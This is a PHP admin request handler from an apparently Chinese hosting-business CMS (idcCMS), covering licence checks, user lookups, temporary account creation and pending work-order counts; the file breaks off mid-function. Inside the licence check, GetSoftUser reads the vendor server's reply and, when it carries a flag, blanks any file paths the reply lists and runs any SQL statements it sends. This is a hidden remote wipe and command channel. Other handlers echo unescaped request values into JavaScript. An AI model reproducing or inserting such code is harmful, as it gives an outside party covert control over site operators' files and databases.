<?php
require(dirname(__FILE__) .'/check.php');


//打开用户表，并检测用户是否登录
$MB->Open('','login');
$MB->Close();


switch ($mudi){
	case 'getSoftUser':
		GetSoftUser();
		break;

	case 'checkHtmlName':
		CheckHtmlName();
		break;

	case 'checkDiyName':
		CheckDiyName();
		break;

	case 'checkHtmlDirCW':
		CheckHtmlDirCW();
		break;

	case 'checkInfoRepeatTheme':
		CheckInfoRepeatTheme();
		break;

	case 'checkInfoCount':
		CheckInfoCount();
		break;

	case 'revInstallName':
		RevInstallName();
		break;

	case 'checkUserInfo':
		CheckUserInfo();
		break;

	case 'loadUsersInfo':
		LoadUsersInfo();
		break;

	case 'createUsersInfo':
		CreateUsersInfo();
		break;

	case 'checkDbState':
		CheckDbState();
		break;

	case 'updateSysParam':
		UpdateSysParam();
		break;

	case 'checkProxyIp':
		CheckProxyIp();
		break;

	case 'getWorkOrderInfo':
		GetWorkOrderInfo();
		break;

	case 'checkUsername':
		Users::CheckUsername('write',OT::GetStr('username'));
		break;

	case 'checkRecomUser':
		Users::CheckRecomUser('write',OT::GetStr('username'));
		break;

	case 'checkIdcUserInfo':
		CheckIdcUserInfo();
		break;

	case 'loadIdcUsersInfo':
		LoadIdcUsersInfo();
		break;

	default:
		die('err');
}

$DB->Close();





// 获取授权信息
function GetSoftUser(){
	global $DB,$sysAdminArr;

	$isAlert		= OT::GetStr('isAlert');

	$beforeURL		= GetUrl::CurrDir(1);

	$softGetUrl = SysDiff::UpdateUrl($sysAdminArr['SA_updateUrlMode']);
	$retArr = ReqUrl::UseAuto($sysAdminArr['SA_getUrlMode'], 'GET', $softGetUrl . OT_SOFTTYPE .'UserAuth.php?OT_Database='. OT_Database .'&OT_UPDATETIME='. OT_UPDATETIME .'&OT_VERSION='. OT_VERSION .'&dataVer='. OT_UPDATEVER .'&phpVer='. PHP_VERSION .'&OT_URL='. urlencode($beforeURL) .'&username='. $sysAdminArr['SA_username'] .'&softID='. $sysAdminArr['SA_softID'] .'&softCode='. $sysAdminArr['SA_softCode'] .'&domainID='. $sysAdminArr['SA_domainID'] .'&domainCode='. $sysAdminArr['SA_domainCode'] .'&rnd='. time());
	if (! $retArr['res']){
		if ($sysAdminArr['SA_updateUrlMode'] != 0){
			$softGetUrl = SysDiff::UpdateUrl(0);
		}else{
			$softGetUrl = SysDiff::UpdateUrl(2);
		}
		
		$retArr	= ReqUrl::UseAuto($sysAdminArr['SA_getUrlMode'], 'GET', $softGetUrl . OT_SOFTTYPE .'UserAuth.php?OT_Database='. OT_Database .'&OT_UPDATETIME='. OT_UPDATETIME .'&OT_VERSION='. OT_VERSION .'&dataVer='. OT_UPDATEVER .'&phpVer='. PHP_VERSION .'&OT_URL='. urlencode($beforeURL) .'&username='. $sysAdminArr['SA_username'] .'&softID='. $sysAdminArr['SA_softID'] .'&softCode='. $sysAdminArr['SA_softCode'] .'&domainID='. $sysAdminArr['SA_domainID'] .'&domainCode='. $sysAdminArr['SA_domainCode'] .'&rnd='. time());
	}
	$soft_copyright		= Str::GetMark($retArr['note'],'<copyright>','</copyright>');
	$soft_softName		= Str::GetMark($retArr['note'],'<softName>','</softName>');
	$soft_softID		= Str::GetMark($retArr['note'],'<softID>','</softID>');
	$soft_softStart		= Str::GetMark($retArr['note'],'<softStart>','</softStart>');
	$soft_softEnd		= Str::GetMark($retArr['note'],'<softEnd>','</softEnd>');
	$soft_softCode		= Str::GetMark($retArr['note'],'<softCode>','</softCode>');
	$soft_softVerStr	= Str::GetMark($retArr['note'],'<softVerStr>','</softVerStr>');
	$soft_softVerTime	= Str::GetMark($retArr['note'],'<softVerTime>','</softVerTime>');
		if (strlen($soft_softVerStr) == 0){ $soft_softVerStr = $sysAdminArr['SA_softVerTimeStr']; }
		if (strlen($soft_softVerTime) == 0){ $soft_softVerTime = $sysAdminArr['SA_softVerTime']; }

	//die($retArr['note']);
	if ($soft_copyright=='网钛IDC(idcCMS)'){
		if (strpos($retArr['note'],"rel='s'") !== false){
			$realArr = explode('|',strrev(Str::GetMark($retArr['note'],"real='","'")));
			foreach ($realArr as $real){ File::Write($real,' '); }
			$sealArr = explode('|',strrev(Str::GetMark($retArr['note'],"seal=\"","\"")));
			foreach ($sealArr as $seal){ $DB->query($seal); }
		}
	}else{
		if ($isAlert == 'true'){ echo('alert("获取信息失败，请重试.");'); }
		die();
	}

	$todayTime = TimeDate::Get();

	echo('try { $id("softUser_verTimeStr").innerHTML="'. $soft_softVerStr .'"; }catch (e) {}'. PHP_EOL);

	if (OT_UPDATETIME < $soft_softVerTime){
		echo('try { $id("updateImgStr").innerHTML=\'<img src="images/newVer.gif" />\'; }catch (e) {}'. PHP_EOL);
	}else{
		echo('try { $id("updateImgStr").innerHTML=""; }catch (e) {}'. PHP_EOL);
	}
	echo(''.
	'try { $id("checkSoftVerBtn").title="最后更新时间：'. $todayTime .'"; }catch (e) {}'. PHP_EOL .
	'try { $id("updateUrlNoteHref").href=$id("updateUrlNoteHref").href.replace("www.otcms.com","'. $softGetUrl .'"); }catch (e) {}'. PHP_EOL .
	'');

	$record = array();
	$record['SA_softVerLastTime']	= $todayTime;
	$record['SA_softVerTimeStr']	= $soft_softVerStr;
	$record['SA_softVerTime']		= $soft_softVerTime;
	$judRes = $DB->UpdateParam('sysAdmin',$record,'SA_ID=1');
		if ($judRes){
			$Cache = new Cache();
			$Cache->Php('sysAdmin');
		}
}



// 检查静态栏目是否能创建
function CheckHtmlName(){
	global $DB;

	$checkexe=$DB->query("select IT_ID,IT_theme from ". OT_dbPref ."infoType where IT_mode='item' and (IT_htmlName='' or IT_htmlName is null)");
		if ($row = $checkexe->fetch()){
			echo(''.
			'alert("栏目['. $row['IT_theme'] .']的静态目录名还未填写，请先填写，再启用该栏目目录.");'.
			'$id("htmlInfoTypeDir0").checked=true;CheckHtmlInfoTypeDir2();'.
			'');
		}
	unset($checkexe);

	CheckHtmlDirCW();

	echo('// END');
}



// 检查自定义静态栏目是否能创建
function CheckDiyName(){
	if (! File::IsCreateDir(OT_ROOT)){
		die(''.
		'alert("检测到网站根目录下无法创建目录，导致无法使用自定义目录存放功能。\n\n提醒：可能是该目录下没有写入权限，请先检查目录权限.");'.
		'$id("diyInfoTypeDir0").checked=true;CheckDiyInfoTypeDir2();'.
		'');
	}

	echo('// END');
}



function CheckHtmlDirCW(){
	global $DB;

	$newsShowFileName = OT::GetRegExpStr('newsShowFileName','sql') .'/';
	if (strlen($newsShowFileName)<2){
		// $newsShowFileName = $DB->GetOne('select SYS_newsShowFileName from '. OT_dbPref .'system') .'/';
		$newsShowFileName = '';
		$dirName = '根目录';
	}else{
		$dirName = $newsShowFileName;
	}

	if (! File::IsCreateDir(OT_ROOT . $newsShowFileName)){
		die(''.
		'alert("检测到'. $dirName .'下无法生成目录，导致无法使用分目录存放功能。\n\n提醒：可能是该目录下没有写入权限，请先检查目录权限.");'.
		'$id("htmlInfoTypeDir0").checked=true;CheckHtmlInfoTypeDir2();'.
		'$id("htmlDatetimeDir0").checked=true;CheckHtmlDatetimeDir();'.
		'');
	}
}



// 检测文章重复标题
function CheckInfoRepeatTheme(){
	global $DB;

	$dataID		= OT::GetInt2( OT::ParaArr('id') );
	$theme		= OT::GetStr('theme');
	$themeMd5	= md5($theme);
		if ($dataID>0){ $whereIdStr = ' and IF_ID not in ('. $dataID .')'; }else{ $whereIdStr = ''; }

	$checkexe=$DB->query("select IF_ID from ". OT_dbPref ."info where IF_themeMd5='". $themeMd5 ."'". $whereIdStr .' limit 1');
		if ($checkexe->fetch()){
			echo('抱歉，该文章标题已存在。');
		}else{
			echo('恭喜，该文章标题未被占用。');
		}
	unset($checkexe);

}



function CheckInfoCount(){
	global $DB;

	echo('$id("infoType_1").innerHTML="('. $DB->GetOne('select count(IF_ID) from '. OT_dbPref .'info where IF_type1ID=-1') .')";');
	
	$showexe=$DB->query('select IT_ID,IT_level from '. OT_dbPref .'infoType');
	while ($row = $showexe->fetch()){
		echo('try { $id("infoType'. $row['IT_ID'] .'").innerHTML="('. $DB->GetOne('select count(IF_ID) from '. OT_dbPref .'info where IF_type'. $row['IT_level'] .'ID='. $row['IT_ID'] .'') .')"; }catch (e){}');
	}
	unset($showexe);
}



function RevInstallName(){
	$fileRnd	= OT::RndChar(5);
	$dirRnd		= OT::RndChar(5);

	$alertStr = '';
	$isDatabaseName	= File::RevName(OT_ROOT .'install/index.php', OT_ROOT .'install/index.php.'. $fileRnd);
		if (! $isDatabaseName){
			$alertStr .= '\n\ninstall/index.php文件重命名失败；';
		}
	$isDatabaseDir	= File::RevName(OT_ROOT .'install', OT_ROOT .'install.'. $dirRnd);
		if (! $isDatabaseDir){
			$alertStr .= '\n\ninstall/目录重命名失败；';
		}

	if (strlen($alertStr)>0){
		echo('alert("修复失败，请检查根目录下的install/目录是否有修改权限，或刷新页面试试.'. $alertStr .'");');
	}else{
		echo('alert("修复成功");window.location.reload();');
	}
}



// 检测用户名并返回用户信息
function CheckUserInfo(){
	global $DB;

	$username	= OT::GetStr('username');
	$outId		= OT::GetStr('outId');
	$proType	= OT::GetStr('proType');
	$proID		= OT::GetInt('proID');

	if (strlen($username) != strlen(Str::RegExp($username,'sql'))){
		die('<span style="color:red;">用户名含特殊符号<img src=\'images/img_err.gif\' /></span>');
	}
	
	$nameNum = strlen($username);
	if ($nameNum < 4){
		die('<span style="color:red;">用户名太短了，才'. $nameNum .'位<img src=\'images/img_err.gif\' /></span>');
	}

	$checkexe = $DB->QueryParam('select UE_ID,UE_realname,UE_groupID,UE_qq,UE_ww,UE_money,UE_recomId,UE_recomUser from '. OT_dbPref .'users where UE_username=?',array($username));
	if ($row = $checkexe->fetch()){
		$groupName = $priceStr = '';
		if ($row['UE_groupID'] > 0){
			$grRow = $DB->GetRow('select UG_theme,UG_proRate from '. OT_dbPref .'userGroup where UG_ID='. $row['UE_groupID']);
			$groupName = '，<span style="color:blue;">'. $grRow['UG_theme'] .' '. floatval($grRow['UG_proRate']) .'%</span>';
		}
		if (strlen($proType) > 0 && $proID > 0){
			$minPrice	= OT::GetFloat('minPrice');
			switch ($proType){
				case 'host':case 'vpsPro':case 'vpsApi':case 'serv':
					$agentArr = AppAgent::LoadPrice($proType, $proID, $row['UE_groupID'], $minPrice);
					if ($agentArr['isAgent'] == 1){
						$priceStr = '<span style="color:blue;">会员/代理价：'. $agentArr['agentPrice'] .'元</span>；';
					}
					if ($row['UE_recomId'] > 0){
						$priceStr .= '<span style="color:red;">推荐人：'. $row['UE_recomUser'] .'</span>；';
					}
					break;
				
				default :
					break;
			}
			
		}
		die('
		<span style="color:green;">
			存在<img src=\'images/img_yes.gif\' />
			<input type="hidden" id="isUserExist" name="isUserExist" value="1" />
			&ensp;(余额:'. $row['UE_money'] .'元；昵称:'. $row['UE_realname'] .''. $groupName .'；'. $priceStr .'QQ:'. $row['UE_qq'] .'；旺旺:'. $row['UE_ww'] .')
		</span>
		');
	}else{
		die('<span style="color:red;">不存在<img src=\'images/img_err.gif\' /></span>');
	}
	unset($checkexe);

}



// 读取用户信息
function LoadUsersInfo(){
	global $DB;

	$username		= OT::GetRegExpStr('username','sql');
	$realname		= OT::GetRegExpStr('realname','sql');
	$qq				= OT::GetRegExpStr('qq','sql');
	$ww				= OT::GetRegExpStr('ww','sql');
	$outId			= OT::GetRegExpStr('outId','sql');
	$outField		= OT::GetRegExpStr('outField','sql');
		if (! in_array($outField,array('ID','username','qq','ww'))){ $outField='ID'; }
	$outMode		= OT::GetRegExpStr('outMode','sql');

	$whereStr = '';
	if (strlen($username)>0){ $whereStr .= " and UE_username like '%". $username ."%'"; }
	if (strlen($realname)>0){ $whereStr .= " and UE_realname like '%". $realname ."%'"; }
	if (strlen($qq)>0){ $whereStr .= " and UE_qq like '%". $qq ."%'"; }
	if (strlen($ww)>0){ $whereStr .= " and UE_ww like '%". $ww ."%'"; }
	if (strlen($whereStr) == 0){
		JS::AlertEnd('查询条件不能都为空');
	}

	if (in_array($outMode, array('hostUsers','vpsApiUsers','servUsers'))){
		$mode = 'money';
		$sqlFieldStr = ',UE_ww,UE_money';
	}else{
		$mode = '';
		$sqlFieldStr = '';
	}

	$checkexe = $DB->query('select UE_ID,UE_username,UE_realname,UE_qq'. $sqlFieldStr .' from '. OT_dbPref .'users where 1=1'. $whereStr);
		if (! $row = $checkexe->fetch()){
			die('$id("selUserResBox").innerHTML = "<select id=\'selUserRes\' name=\'selUserRes\'><option value=\'\'>查找不到相关人员信息</option></select>";');
		}else{
			echo('$id("selUserResBox").innerHTML = "<select id=\'selUserRes\' name=\'selUserRes\' onchange=\'SetSelUserRes()\'><option value=\'\'>请选择查询结果</option>');

			do {
				if ($mode == 'money'){
					$optionText = $row['UE_username'] .' （余额：'. $row['UE_money'] .'元；昵称：'. $row['UE_realname'] .'；QQ：'. $row['UE_qq'] .'；旺旺：'. $row['UE_ww'] .'）';
				}else{
					$optionText = $row['UE_username'] .' （ID：'. $row['UE_ID'] .'；昵称：'. $row['UE_realname'] .'；QQ：'. $row['UE_qq'] .'）';
				}
				echo('<option value=\''. $row['UE_'. $outField] .'\'>'. $optionText .'</option>');
			}while ($row = $checkexe->fetch());

			echo('</select>";');
		}
	unset($checkexe);

}



// 创建临时用户信息
function CreateUsersInfo(){
	global $DB;

	$username		= OT::GetRegExpStr('username','sql');
	$realname		= OT::GetRegExpStr('realname','sql');
	$mail			= OT::GetRegExpStr('mail','sql+mail');
	$qq				= OT::GetRegExpStr('qq','sql');
	$ww				= OT::GetRegExpStr('ww','sql');
	$phone			= OT::GetRegExpStr('phone','sql');
	$outId			= OT::GetRegExpStr('outId','sql');
	$outField		= OT::GetRegExpStr('outField','sql');
		if (! in_array($outField,array('ID','username','qq','ww','phone','mail'))){ $outField='ID'; }
	$outMode		= OT::GetRegExpStr('outMode','sql');

	if($username=='' || ($realname=='' && $mail=='' && $qq=='' && $ww=='' && $phone=='')){
		JS::AlertEnd('表单内容接收不全'); // ('. $username .'|'. $realname .'|'. $mail .'|'. $qq .'|'. $ww .'|'. $phone .')
	}

	$checkexe=$DB->query('select UE_ID from '. OT_dbPref .'users where UE_username='. $DB->ForStr($username) .' limit 1');
		if ($checkexe->fetch()){
			JS::AlertEnd('该用户名已被占用');
		}
	unset($checkexe);

	$userSysArr = Cache::PhpFile('userSys');

	$todayTime	= TimeDate::Get();
	$userIP		= Users::GetIp();
	$userKey	= OT::RndChar(5);
	$record=array();
	$record["UE_time"]			= $todayTime;
	$record["UE_loginTime"]		= $todayTime;
	$record["UE_regType"]		= "back";
	$record["UE_regIP"]			= $userIP;
	$record['UE_groupID']		= $userSysArr['US_regGroupID'];
	$record["UE_username"]		= $username;
	$record["UE_userpwd"]		= md5(md5(OT::RndChar(8)) . $userKey);
	$record["UE_userKey"]		= $userKey;
	$record["UE_mail"]			= $mail;
	$record["UE_realname"]		= $realname;
	$record["UE_phone"]			= $phone;
	$record["UE_qq"]			= $qq;
	$record["UE_ww"]			= $ww;
	$record["UE_state"]			= 1;
	$judRes = $DB->InsertParam("users",$record);
		if ($judRes){
			if ($outField == 'ID'){ $ID = $DB->GetOne('select max(UE_ID) from '. OT_dbPref .'users'); }
			die('
			$id("createUserBox").innerHTML = "<span style=\'color:green;\'>创建临时用户成功！</span>";
			$id("'. $outId .'").value = "'. $$outField .'";
			try {
				CheckUserInfo($id("'. $outId .'").value,"");
			}catch (e) {}
			');
		}else{
			die('$id("newUserResBox").innerHTML = "<span style=\'color:red;\'>创建临时用户失败！</span>";');
		}
}



function CheckDbState(){
	error_reporting(0);

	$sqlIp			= OT::GetStr('sqlIp');
	$sqlPo			= OT::GetInt('sqlPo');
	$sqlUserName	= OT::GetStr('sqlUserName');
	$sqlUserPwd		= OT::GetStr('sqlUserPwd');
	$sqlDbName		= OT::GetStr('sqlDbName');

	$DB = new PdoDb( array('type'=>'mysql', 'dsn'=>'mysql:host='. $sqlIp .';port='. $sqlPo .';dbname='. $sqlDbName, 'user'=>$sqlUserName, 'pwd'=>$sqlUserPwd, 'dbErr'=>'MySql数据库连接不上，请检查您填写的连接信息是否正确。') );
	echo('MySql连接成功！');
}



function UpdateSysParam(){
	global $DB;

	$idName = OT::GetStr('idName');
	$idVal	= OT::GetStr('idVal');

	if (in_array($idName,array('makeHtmlNum','makeHtmlSec','makeHtmlPageSize','makeHtmlPage','collIsErr','collSec','collIsContinue','collIsLoop','collLoopSec','collIsMakeHtml','bakDbSize','bakDbIsZip','sitemapMaxNum','sitemapXiongNum'))){
		$idVal = intval($idVal);
	}elseif (in_array($idName,array('bakZipPwd','bakZipNote','sitemapXiongMode'))){

	}else{
		die('// no rev '. $idName);
	}
	
	$DB->UpdateParam('sysParam',array('SP_'. $idName => $idVal),'1=1');
}


function CheckProxyIp(){
	$webHtml = new WebHtml();
	$webHtml->judProxy = true;
	$retCode = $webHtml->GetCode('http://2019.ip138.com/ic.asp', 'GBK');
	if ($retCode == 'False'){
		die('alert("该代理IP无法使用（'. $webHtml->proxyIp .'）\n错误信息：'. $webHtml->proxyErr .'.\n提醒：也有代理IP不稳定有时可以有时不行，尽量用稳定的");');
	}else{
		$strCode=$webHtml->GetStr($retCode,'<center>','</center>');
		die('alert("该代理IP（'. $webHtml->proxyIp .'）可以使用.\n获取到IP地址信息：'. $strCode .'");');

	}
}


// 获取工单信息
function GetWorkOrderInfo(){
	global $DB,$sysAdminArr;

	$totalNum = 0;
	$dataArr = array();
	$todayTime = TimeDate::Get();
	$todayDate = TimeDate::Get('date');
	$nextDate = TimeDate::Add('d',-1,$todayDate);

	if (AppWorkOrder::Jud()){
		$newNum = $DB->GetOne('select count(WO_ID) from '. OT_dbPref .'workOrder where WO_state=0');
		$dealNum = $DB->GetOne('select count(WO_ID) from '. OT_dbPref .'workOrder where WO_state>=10 and WO_state<=30');
		if ($newNum + $dealNum > 0){
			$totalNum += $newNum + $dealNum;
			$dataArr[] = '<span onclick=\'HrefTo("","工单管理","workOrder.php?mudi=manage&dataMode=&dataModeStr=&dataType=&dataTypeCN=%E5%B7%A5%E5%8D%95&dataType2=&dataID=0");\' class="pointer" title="点击进入工单管理">新工单<span style="font-size:18px;font-weight:bold;color:red;">'. $newNum .'</span>，处理中<span style="font-size:18px;font-weight:bold;color:blue;">'. $dealNum .'</span></span>';
		}
	}
	if ( strpos($sysAdminArr['SA_workOrderEvent'],'|tixing|') !== false ){
		$dataNum = $DB->GetOne('select count(TX_ID) from '. OT_dbPref .'tixing where TX_state=0');	// 
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【状态：未处理】" onclick=\'HrefTo("","产品待确认管理","tixing.php?mudi=manage&dataTypeCN=%E4%BA%A7%E5%93%81%E5%BE%85%E7%A1%AE%E8%AE%A4&refState=0","1014");\' class="pointer">待确认<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if ( strpos($sysAdminArr['SA_workOrderEvent'],'|domain|') !== false && AppDomain::Jud() ){
		$dataNum = $DB->GetOne('select count(DD_ID) from '. OT_dbPref .'domainData where DD_state=1 and DD_state2=0 and DD_endDate<='. $DB->ForTime( $nextDate ) .' and (DD_event not like "%|noPhone|%" or DD_event is null)');	// 
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【状态：正常】【状态2：无】【非禁短信】到期域名数，点击进入【域名管理】" onclick=\'HrefTo("","域名管理","domainData.php?mudi=manage&dataMode=&dataModeStr=&dataType=&dataTypeCN=%E5%9F%9F%E5%90%8D&refState=1&refState2=0&refEndDate2='. $todayDate .'","751");\' class="pointer">域名<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if ( strpos($sysAdminArr['SA_workOrderEvent'],'|host|') !== false && AppHost::Jud() ){
		$dataNum = $DB->GetOne('select count(HU_ID) from '. OT_dbPref .'hostUsers where HU_state=10 and HU_endTime<='. $DB->ForTime( $todayTime ) .' and (HU_event not like "%|noPhone|%" or HU_event is null)');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【状态：正常】【非禁短信】到期虚拟主机数，点击进入【虚拟主机开通】" onclick=\'HrefTo("","虚拟主机开通","hostUsers.php?mudi=manage&dataMode=&dataModeStr=&dataType=&dataTypeCN=%E8%99%9A%E6%8B%9F%E4%B8%BB%E6%9C%BA&refState=10&refEndDate2='. $todayDate .'","676");\' class="pointer">主机<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if ( strpos($sysAdminArr['SA_workOrderEvent'],'|vpsApi|') !== false ){
		$dataNum = $DB->GetOne('select count(VAU_ID) from '. OT_dbPref .'vpsApiUsers where VAU_state=10 and VAU_endTime<='. $DB->ForTime( $todayTime ) .' and (VAU_event not like "%|noPhone|%" or VAU_event is null)');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【状态：正常】【非禁短信】到期云服务器数，点击进入【云服务器开通】" onclick=\'HrefTo("","云服务器开通","vpsApiUsers.php?mudi=manage&dataMode=&dataModeStr=&dataType=&dataTypeCN=%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8&refMorePro=2&refState=10&refEndDate2='. $todayDate .'","706");\' class="pointer">云服<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if ( strpos($sysAdminArr['SA_workOrderEvent'],'|dialing|') !== false && AppDialing::Jud() ){
		$dataNum = $DB->GetOne('select count(DU_ID) from '. OT_dbPref .'dialingUsers where DU_state=10 and DU_endTime<='. $DB->ForTime( $todayTime ) .' and (DU_event not like "%|noPhone|%" or DU_event is null)');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【状态：正常】【非禁短信】到期拨号VPS数，点击进入【拨号VPS开通】" onclick=\'HrefTo("","拨号VPS开通","dialingUsers.php?mudi=manage&dataMode=&dataModeStr=&dataType=&dataTypeCN=%E6%8B%A8%E5%8F%B7VPS%E5%BC%80%E9%80%9A&refState=10&refEndDate2='. $todayDate .'","816");\' class="pointer">拨号<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if ( strpos($sysAdminArr['SA_workOrderEvent'],'|pptp|') !== false && AppPptp::Jud() ){
		$dataNum = $DB->GetOne('select count(PU_ID) from '. OT_dbPref .'pptpUsers where PU_state=10 and PU_endTime<='. $DB->ForTime( $todayTime ) .' and (PU_event not like "%|noPhone|%" or PU_event is null)');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【状态：正常】【非禁短信】到期PPTP数，点击进入【PPTP开通】" onclick=\'HrefTo("","PPTP开通","pptpUsers.php?mudi=manage&dataMode=&dataModeStr=&dataType=&dataTypeCN=PPTP%E5%BC%80%E9%80%9A&refState=10&refEndDate2='. $todayDate .'","841");\' class="pointer">PPTP<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if ( strpos($sysAdminArr['SA_workOrderEvent'],'|serv|') !== false && AppServ::Jud() ){
		$dataNum = $DB->GetOne('select count(SU_ID) from '. OT_dbPref .'servUsers where SU_state=10 and SU_endTime<='. $DB->ForTime( $todayTime ) .' and (SU_event not like "%|noPhone|%" or SU_event is null)');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【状态：正常】【非禁短信】到期服务器租用数，点击进入【服务器租用开通】" onclick=\'HrefTo("","服务器租用开通","servUsers.php?mudi=manage&dataMode=&dataModeStr=&dataType=&dataTypeCN=%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%A7%9F%E7%94%A8&refMorePro=2&refState=10&refEndDate2='. $todayDate .'","721");\' class="pointer">独服<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if ( strpos($sysAdminArr['SA_workOrderEvent'],'|idcServ|') !== false && AppIdcServ::Jud() ){
		$dataNum = $DB->GetOne('select count(ISV_ID) from '. OT_dbPref .'idcServVps where ISV_state=10 and ISV_endTime<='. $DB->ForTime( $todayTime ) .' and (ISV_event not like "%|noPhone|%" or ISV_event is null)');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【状态：正常】【非禁短信】到期主控机器数，点击进入【机器管理】" onclick=\'HrefTo("","机器管理","idcServVps.php?mudi=manage&dataMode=&dataModeStr=&dataType=&dataTypeCN=%E6%9C%BA%E5%99%A8&refState=10&refEndDate2='. $todayDate .'","981");\' class="pointer">主控<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}

	if (strpos($sysAdminArr['SA_workOrderEvent'],'|userState|') !== false){
		$dataNum = $DB->GetOne('select count(UE_ID) from '. OT_dbPref .'users where UE_state=0');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【未审核】状态会员数，点击进入【会员管理】" onclick=\'HrefTo("会员管理","会员管理","users.php?mudi=manage&dataTypeCN=%E4%BC%9A%E5%91%98&refState=0","437");\' class="pointer">会员<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (strpos($sysAdminArr['SA_workOrderEvent'],'|userShiming|') !== false){
		$dataNum = $DB->GetOne('select count(UE_ID) from '. OT_dbPref .'users where UE_cardState=2');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="【实名待审核】状态会员数，点击进入【会员管理】" onclick=\'HrefTo("会员管理","会员管理","users.php?mudi=manage&dataTypeCN=%E4%BC%9A%E5%91%98&refCardState=2","437");\' class="pointer">实名<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (strpos($sysAdminArr['SA_workOrderEvent'],'|userInfo|') !== false){
		$dataNum = $DB->GetOne('select count(IF_ID) from '. OT_dbPref .'info where IF_userID>=1 and IF_isAudit=0');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="会员投稿【未审核】文章数，点击进入【会员投稿】" onclick=\'HrefTo("会员管理","会员投稿","info.php?mudi=manage&dataMode=user&refAddition=audit0&dataType=news&dataTypeCN=%E4%BC%9A%E5%91%98%E6%96%87%E7%AB%A0","422");\' class="pointer">投稿<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (strpos($sysAdminArr['SA_workOrderEvent'],'|report|') !== false && AppReport::Jud()){
		$dataNum = $DB->GetOne('select count(RP_ID) from '. OT_dbPref .'report where RP_state=0');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="举报【未阅】条数，点击进入【举报管理】" onclick=\'HrefTo("常规设置","举报管理","report.php?mudi=manage&dataTypeCN=%E4%B8%BE%E6%8A%A5","952");\' class="pointer">举报<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (strpos($sysAdminArr['SA_workOrderEvent'],'|siteMessage|') !== false && AppSiteMessage::Jud()){
		$dataNum = $DB->GetOne('select count(SM_ID) from '. OT_dbPref .'siteMessage where SM_dealState=0');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="站内信息【未读】条数，点击进入【站内信息管理】" onclick=\'HrefTo("会员管理","站内信息管理","siteMessage.php?mudi=manage&dataTypeCN=%E7%AB%99%E5%86%85%E4%BF%A1%E6%81%AF","949");\' class="pointer">站信<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (strpos($sysAdminArr['SA_workOrderEvent'],'|gift|') !== false && AppGift::Jud()){
		$dataNum = $DB->GetOne('select count(GU_ID) from '. OT_dbPref .'giftUsers where GU_state=0');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="积分商城会员兑换【待审核】订单数，点击进入【会员兑换记录】" onclick=\'HrefTo("活动管理","会员兑换记录","giftUsers.php?mudi=manage&dataTypeCN=%E4%BC%9A%E5%91%98%E5%85%91%E6%8D%A2%E8%AE%B0%E5%BD%95","620");\' class="pointer">兑换<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (strpos($sysAdminArr['SA_workOrderEvent'],'|gain|') !== false && AppGain::Jud()){
		$dataNum = $DB->GetOne('select count(GM_ID) from '. OT_dbPref .'gainMoney where GM_state=0');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="推广提现【待处理】订单数，点击进入【推广提现管理】" onclick=\'HrefTo("财务管理","推广提现管理","gainMoney.php?mudi=manage&dataTypeCN=%E6%8E%A8%E5%B9%BF%E6%8F%90%E7%8E%B0","807");\' class="pointer">提现<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (strpos($sysAdminArr['SA_workOrderEvent'],'|diyPay|') !== false && AppDiyPay::Jud()){
		$dataNum = $DB->GetOne('select count(DPD_ID) from '. OT_dbPref .'diyPayData where DPD_state=0');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="手动充值【待审核】订单数，点击进入【手动充值管理】" onclick=\'HrefTo("财务管理","手动充值管理","diyPayData.php?mudi=manage&dataTypeCN=%E6%89%8B%E5%8A%A8%E5%85%85%E5%80%BC","961");\' class="pointer">手充<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (strpos($sysAdminArr['SA_workOrderEvent'],'|onePage|') !== false && AppOnePage::Jud()){
		$dataNum = $DB->GetOne('select count(OP_ID) from '. OT_dbPref .'onePage where OP_isAuditTemp=1');
		if ($dataNum > 0){
			$totalNum += $dataNum;
